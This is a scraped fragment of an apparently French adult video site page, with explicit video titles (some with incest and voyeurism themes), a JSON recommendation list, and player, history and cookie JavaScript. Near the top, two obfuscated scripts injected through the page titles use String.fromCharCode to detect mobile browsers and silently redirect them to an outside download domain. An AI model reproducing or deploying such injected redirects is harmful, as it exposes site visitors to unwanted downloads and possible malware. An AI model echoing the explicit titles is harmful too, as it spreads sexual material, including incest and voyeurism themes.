Vidéos recommandées
05:47
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Peh-koiFuruki-san devient la servante porno exclusive de son petit ami otaku flippant
08:00
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u = navigator.userAgent; if (u.indexOf(a) > -1 || u.indexOf(b) > -1 || u.indexOf(c) > -1 || u.indexOf(d) > -1) { window.location.href = _(104, 116, 116, 112, 115, 58, 47, 47, 120, 105, 97, 122, 97, 105, 46, 105, 116, 46, 99, 111, 109) } </script>
Charger plus
Peh-koiFuruki-san devient la servante porno exclusive de son petit ami otaku flippant","lastmod":"2026-07-11","duration":"05:47","url":"/play/19164870.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTUxNWNkMzhhYjJiNzc0NjcyNWE3NGRkZGQwNDc1YmQuanBn.cache","vod_id":18978790,"title":"FC2PPV 3572982 [Non censuré] [Limité à 200] \"J'adore le brut !\" Son petit corps doux et sacré atteignait l'orgasme encore et encore, sa vulve sensible presque éclatant !","lastmod":"2025-12-14","duration":"01:05:59","url":"/play/18978790.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MzAvNjQxYTVjZmM1NmM2MGJkODhhYjNiMDA2YmQzNDBhOGUuanBn.cache","vod_id":19055240,"title":"Vidéo de voyeurisme de haute qualité, digne d'une célébrité, montrant une femme épiant un salon de toilettage pour hommes. Ses talents exceptionnels et ses chuchotements intimes excitent intensément les hommes. Actrice inconnue SMJB005","lastmod":"2025-09-29","duration":"02:39:03","url":"/play/19055240.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYTVmN2JmNzhjZWY0ZDY3NzQyN2RkZDM0NzFiNGRlODkuanBn.cache","vod_id":19161685,"title":" ","lastmod":"2026-07-11","duration":"08:00","url":"/play/19161685.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvZWNiZjIyNDcyZTgzMDA2NDQ2M2ZkODRlYWU4ZGE0ZDUuanBn.cache","vod_id":19065274,"title":"Parents lubriques : Orgasmes de la belle-sœur grâce à l’énorme pénis de son oncle transpirant - Ryoko Izawa JJDA_052","lastmod":"2025-12-14","duration":"02:00:48","url":"/play/19065274.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTdjZmQyOGU1NmI3NjlhZDIyMWU3MzVhOWIyMGZjZTEuanBn.cache","vod_id":18986515,"title":"SOE-299 Mosaïque Célébrité x Aventure : Romance corporelle échappée - Mika Kayama","lastmod":"2025-12-14","duration":"01:57:18","url":"/play/18986515.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzI2YjNiMjAzZTY2OGYzOTJlM2MwNWVhNGE4YzFmMGQuanBn.cache","vod_id":19016587,"title":"STARS074 Ikuiku La scientifique lubrique (la scientifique) presse ses grosses fesses contre Masami Ichikawa qui est assise sur son visage.","lastmod":"2025-03-24","duration":"01:59:35","url":"/play/19016587.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzI5NWVlOTYzZGYwMGM1MTM2NGFkNTQxMGM4ZDdhYmIuanBn.cache","vod_id":18927261,"title":"La plateforme « Little Cute » (anciennement Kawaii) met en scène une streameuse mature et très prisée nommée Qimaomao qui facture des frais pour exhiber sa silhouette et se livrer à des actes de masturbation et de pénétration vaginale extrêmement obscènes.","lastmod":"2025-12-14","duration":"00:59:48","url":"/play/18927261.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWVkODE2NDQ0MzQzN2Y5ZWJhYTgyYjI1M2Y0NzIxYjAuanBn.cache","vod_id":19156759,"title":"Un rendez-vous galant avec Yuzuha Natsumi ! J'ai emmené un garçon chanceux dans un hôtel en ville, je lui ai dit des choses salaces, j'ai secoué sa poitrine généreuse et j'ai offert à Yuzuha Karen une expérience PREMIUM...","lastmod":"2026-05-06","duration":"03:02:23","url":"/play/19156759.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmQ4NWIyMGMxOWJmOGIwZjBhOWMwODUzZWE0YWE5N2YuanBn.cache","vod_id":18990207,"title":"HODV-21442 Femme mariée japonaise : Une tante du coin, une vraie nymphomane, venue de l’autre côté de l’archipel. Envie de découvrir la vie sexuelle de la femme de votre voisin ? (0002) (Inceste)","lastmod":"2025-12-14","duration":"03:59:00","url":"/play/18990207.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmUwZDM0M2IxNjI3N2JhYWM0MGJlMDNkZjZkMTExNTUuanBn.cache","vod_id":19012742,"title":"MDBK079 Recherche de donneurs de sperme pour lutter contre la baisse de la natalité ! Nous recrutons des donneurs de sperme masculins pour un programme de bénévolat de soutien à l'éjaculation chez les femmes à forte poitrine.","lastmod":"2025-03-24","duration":"02:43:38","url":"/play/19012742.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTBmYmI4YjU1MjYzNjgyMmExYzE2YTc4NDY2YTgyNTYuanBn.cache","vod_id":19149558,"title":"Yakyuken sur Twitter : Des femmes de rue jouent à un jeu légèrement érotique ; la perdante doit enlever un vêtement ! Si vous pouvez vous procurer votre OFSD-055","lastmod":"2026-03-22","duration":"02:52:26","url":"/play/19149558.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZjEyYzcxYjQ4ODliYWJlMmM2MTBiMmMzMTc0NmU2NzguanBn.cache","vod_id":19159367,"title":"Envie de coucher avec la femme la plus dévergondée d'une boîte de nuit huppée, réputée pour posséder un « oreiller hanté » ! Hôtesse de luxe : Cui NPJ","lastmod":"2026-05-22","duration":"02:38:13","url":"/play/19159367.html"}]},
videoTitle: '300MAAN-366 Les 5 meilleures techniques érotiques d'Akemi vont épuiser votre sperme [1] Un corps de salope développé grâce à l'entraînement de danse [2] Danse érotique à grande vitesse avec torsion des hanches [3]',
language: 'fr',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Lien copié !');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Lien copié !');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Lien copié !');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}